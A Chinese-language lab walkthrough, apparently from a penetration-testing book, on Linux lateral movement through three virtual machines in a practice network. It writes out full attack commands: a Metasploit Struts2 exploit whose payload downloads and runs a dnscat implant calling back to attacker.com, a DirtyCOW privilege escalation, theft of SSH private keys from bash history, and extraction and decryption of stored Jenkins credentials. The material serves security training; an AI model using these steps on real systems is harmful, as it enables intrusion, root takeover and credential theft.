Linux 横向移动实验

横向移动的问题是,没有一个设置起点逐步深入的环境很难练习。因此,我们向你介绍了 CSK 网络安全实验。在这个实验中,你将在不同的设备之间进行切换,使用最近的漏洞攻击和权限提升攻击,并利用 Linux 环境中本身存在的应用程序进行攻击。

设置虚拟环境

这个虚拟实验环境的设置有些复杂。这是因为网络需要三个不同的静态虚拟机才能运行,并且你需要事先进行一些设置。所有这些都在 VMware Workstation 和 VMware Fusion 中进行了测试,因此如果你使用的是 VirtualBox,那么你可能需要对它进行适当的调整。

下载三台虚拟机:

所有三台虚拟机都配置为使用 NAT 网络接口。要使该实验环境正常工作,你必须在 VMware 中配置虚拟机的 NAT 设置,才能使用172.16.250.0/24网络。要在 Windows VMware Workstation 中执行此操作,请执行以下操作:

  • 在开始菜单,依次点击 编辑 -> 虚拟网络编辑器 -> 更改设置
  • 选择需要设置 NAT 类型的界面(我这里设置的是 VMnet8)
  • 修改子网 IP 为 172.16.250.0 ,并点击 应用

在 OSX 中,操作更复杂。你需要:

  • 复制原始的 dhcpd.conf 作为备份
    • sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf/Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup
  • 编辑 dhcpd.conf 文件以使用172.16.250.x 而不是192.168.x.x
    • sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf
  • 编辑 nat.conf 以使用正确的网关
    • sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf
      • #NAT gateway address
      • ip = 172.16.250.2
      • netmask = 255.255.255.0
  • 重新启动服务:
    • sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh —stop
    • sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh —start

现在,你应该能够在 NAT 模式下启动 THP Kali VM,并在172.16.250.0/24范围内获得一个 DHCP 分配的 IP。如果你这样做了,就同时启动所有其他三个实验虚拟机,然后开始黑客攻击吧。

攻击 CSK 安全网络

最后,你已经从 Windows 环境转到了安全生产环境网络中。从你所有的侦察和研究中,你知道所有的秘密都存储在这里。这是他们保护最严密的网络之一,我们知道他们已经分步部署了他们的安全基础设施。从他们的文档来看,似乎有多个 VLAN 需要进行入侵,而且你似乎需要在各个系统之间切换才能访问核心数据库。这就是你发起这次攻击的目的……

以安全网络区域的外部为中心,可以看到为此环境配置的网络范围位于172.16.250.0/24网络中。由于你对这个网络不太了解,你可以先进行一些非常简单的 nmap 扫描。你需要确定哪些系统可以从网络外部访问,以确定如何启动攻击。

扫描网络:

  • nmap 172.16.50.0/24

你注意到有三个设备正在运行,但只有一个设备启用了 Web 端口。看起来其他两个设备与安全网络之外是隔离的,这意味着我们必须首先入侵172.16.250.10设备才能转到其他两个服务器。访问第一个系统(172.16.250.10),你会看到 Apache Tomcat 正在监听端口8080,而一些 OpenCMS 在端口80上。运行 web fuzzer 时,你会注意到 OpenCMS 页面也在运行 Apache Struts2(或者是 struts2 showcase)。你的脑海立马想到了Equifax 数据泄露事件中黑客的攻击手法。你喜出望外,太好了,但你还是要检查一下。在 msfconsole 上运行一个快速搜索并测试漏洞 struts2_content_type_ognl

Linux 横向移动实验 - 图1

我们知道,CSK 会严格监控受保护的网络流量,其内部服务器可能不允许直接访问公司网络。为了解决这个问题,我们必须使用我们的 DNS C2 payload 和 dnscat2 来通过 UDP 而不是 TCP 进行通信。当然,在真实操作中,我们可能会使用权威的 DNS 服务器,但仅针对本地测试的话,我们将配置自己的 DNS 服务器。

[本书的 Kali 机器]

本书的定制 Kali 虚拟机应该拥有执行攻击的所有工具。

  • 我们需要在 Web 服务器上放上我们的 payload,这样我们就可以让我们的 metasploit payload 抓取 dnscat 恶意软件。在 dnscat2 客户机文件夹中是 dnscat 二进制文件。
    • cd /opt/dnscat2/client/
    • python -m SimpleHTTPServer 80
  • 启动 dnscat 服务器
    • cd /opt/dnscat2/server/
    • ruby ./dnscat2.rb
  • 为 dnscat 记录你的密钥

Linux 横向移动实验 - 图2

  • 打开新终端并加载 Metasploit
    • msfconsole
  • 搜索 struts2并加载 struts2漏洞
    • search struts2
    • use exploit/multi/http/struts2_content_type_ognl
  • 配置 struts2漏洞以获取我们的 dnscat payload 并在受害者服务器上执行。确保在前面更新你的 IP 和密钥。
    • set RHOST 172.16.250.10
    • set RPORT 80
    • set TARGETURI struts2-showcase/showcase.action
    • set PAYLOAD cmd/unix/generic
    • set CMD wget http:///dnscat -O /tmp/dnscat && chmod+x /tmp/dnscat && /tmp/dnscat —dns server=attacker.com,port=53 —secret=
    • run
  • 一旦 payload 执行,你将不会在 Metasploit 中得到任何确认,因为我们使用了 dnscat 的 payload。你需要检查你的 dnscat 服务器是否有任何使用 DNS 流量的连接。

Linux 横向移动实验 - 图3

  • 回到 dnscat2服务器上,检查新执行的 payload 并创建一个 shell 终端。
    • 与第一个 payload 进行交互
      • window -i 1
    • 生成 shell 进程
      • shell
    • 用键盘按钮返回主菜单
      • ctrl + z
    • 与新 shell 进行交互
      • window -i 2
    • 键入 shell 命令
      • ls

Linux 横向移动实验 - 图4

你已经入侵了 OpenCMS/Apache Struts 服务器!现在要做什么?你需要花一些时间检查服务器并寻找有趣的信息。你想起来服务器正在运行 OpenCMS Web 应用程序,并确定该应用程序是在 /opt/tomcat/webapps/kittens 下配置的。在查看 OpenCMS 属性的配置文件时,我们发现数据库、用户名、密码和 IP 地址为 172.16.250.10。

检索数据库信息:

  • cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

Linux 横向移动实验 - 图5

我们成功连接到数据库了,但看不到太多信息。这是因为我们目前是一个有限的 Tomcat 用户,这确实阻碍了我们的攻击。因此,我们需要找到一种提权的方法。在服务器上运行 post exploitation reconnaissance(uname -a && lsb_release -a),你可以识别出这是一个非常旧的 Ubuntu 版本。幸运的是,此服务器容易受到权限提升漏洞 DirtyCOW 的攻击。让我们创建一个 DirtyCOW 二进制文件并转到根目录!

Escalation 提升 dnscat 权限:

  • 下载并编译目录:
    • cd /tmp
    • wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c
    • gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
    • ./dirtycow-mem
  • 尝试保持 DirtyCOW 漏洞利用的稳定性,并允许内核崩溃时重新启动。
    • echo 0 > /proc/sys/vm/dirty_writeback_centisecs
    • echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
  • whoami

Linux 横向移动实验 - 图6

注意:DirtyCOW 不是一个非常稳定的提权方法。如果你对漏洞利用过程有问题,请查看我的 Github 页面,在这里了解创建 setuid 二进制文件的更稳定的过程:

现在,由于主机系统上没有补丁,你已经成为系统的 root 用户。当你再次开始为敏感信息翻阅系统文件时,你会看到 root 的 bash 历史文件。在这个文件中,你可以找到 SSH 命令和私有 SSH 密钥来源。我们可以使用此 SSH 密钥并登录到第二个系统172.16.250.30:

  • cat ~/.bash_history
  • head ~/.ssh/id_rsa
  • ssh -i ~/.ssh/id_rsa root@172.16.250.30

Linux 横向移动实验 - 图7

你花了一些时间在第二个系统上,试着理解它的用途。在四处搜索时,你注意到在 /home 目录中有一个 Jenkins 用户,它引导你识别在端口8080上运行的 Jenkins 服务。我们如何使用浏览器查看 Jenkins 服务器上的内容?这就是 dnscat 的端口转发功能发挥作用的地方。我们需要退出最初的shell,去命令终端。从那里,我们需要设置一个监听器,通过 dnscat 将我们的流量从攻击者机器转发到端口8080上的 Jenkins Box(172.16.250.30)。

执行 dnscat 端口转发:

  • 退出现有的 shell
    • Ctrl + z
  • 返回我们的第一个命令代理并设置一个监听器/端口转发:
    • window -i 1
    • listen 127.0.0.1:8080 172.16.250.30:8080
  • 在你的 Kali 虚拟机上,使用我们的端口转发代理打开浏览器并打开下面的地址(这将比 dns 慢一些):

Linux 横向移动实验 - 图8

在 Jenkins 应用程序内的凭证管理器内部,我们将看到 db_backup 用户密码已存储,但不可见。 我们需要弄清楚如何从 Jenkins 中获取此凭据,以便我们可以继续横向移动。

Linux 横向移动实验 - 图9

n00py 对 Jenkins 中存储的凭据以及如何提取它们做了一些很好的研究( http://bit.ly/2GUIN9s )。 我们可以使用现有的 shell 来利用此攻击并获取 credentials.xml,master.key 和 hudson.util.Secret 文件。

  • 返回 dnscat 中的主菜单并与原始 shell 进行交互
    • Ctrl + z
    • window -i 2
  • 转到 Jenkins 的主目录并获取三个文件:credentials.xml,master.key 和 hudson.util.Secret。
    • cd /home/Jenkins
  • 我们可以尝试关闭这些文件,或者我们可以将这些文件作为基础并通过当前的 shell 复制它们。
    • base64 credentials.xml
    • base64 secrets/hudson.util.Secret
    • base64 secrets/master.key
  • 我们可以将 base64输出复制回我们的 Kali 系统并解码它们以破解 db_backup 用户的密码。
    • cd /opt/jenkins-decrypt
    • echo “” | base64 —decode > hudson.util.Secret
    • echo “” | base64 —decode > master.key
    • echo “” | base64 —decode > credentials.xml
  • 使用 https://github.com/cheetz/jenkins-decrypt 解密密码
    • python3 ./decrypt.py master.key hudson.util.Secret credentials.xml

Linux 横向移动实验 - 图10

我们能够成功解密 db_backup 用户的密码 )uDvra{4UL^;r?*h。如果我们回顾一下之前的注释,我们会在 OpenCMS 属性文件中看到数据库服务器位于 172.16.250.50。看起来这个 Jenkins 服务器出于某种原因会对数据库服务器执行某种备份。让我们检查一下我们是否可以获取 db_backup 的凭据:利用 )uDvra{4UL^;r?*h 通过 SSH 登录数据库服务器。唯一的问题是通过我们的 dnscat shell,我们没有直接按标准输入(STDIN)来与 SSH 的密码提示进行交互。 因此,我们将不得不再次使用我们的端口将我们的 SSH shell 从 Kali 虚拟机通过 dnscat 代理传递到数据库服务器(172.16.250.50)。

  • 回到命令 shell
    • Ctrl + z
    • window -i 1
  • 创建一个新的端口转发,从 localhost 转到172.16.250.50的数据库服务器
    • listen 127.0.0.1:2222 172.16.250.50:22

Linux 横向移动实验 - 图11

一旦使用 db_backup 帐户进入数据库服务器(172.16.250.50),我们会注意到此帐户是 sudoers 文件的一部分,并且可以 sudo su 到 root。 一旦 root 在数据库服务器上,我们将四处寻找也找不到任何访问数据库的凭据。我们可以重置 root 数据库密码,但最终可能会破坏其他一些应用程序。相反,我们搜索位于/var/lib/mysql 下的不同数据库,并发现 cyberspacekittens 数据库。在这里,我们找到 secrets.ibd 文件,其中包含 secrets 表的所有数据。在我们阅读数据时,我们意识到它可能是加密的…由你来执行剩下的操作…

Linux 横向移动实验 - 图12

恭喜!!!你已成功入侵 Cyber Space Kittens 网络!

不要止步于此…你可以用这些系统做很多事情;我们现在只触及了表面。随意在被入侵的系统上翻阅,找到更敏感的文件,找出其他权限升级的方法,等等。作为参考,在本实验中,环境拓扑如下所示:

Linux 横向移动实验 - 图13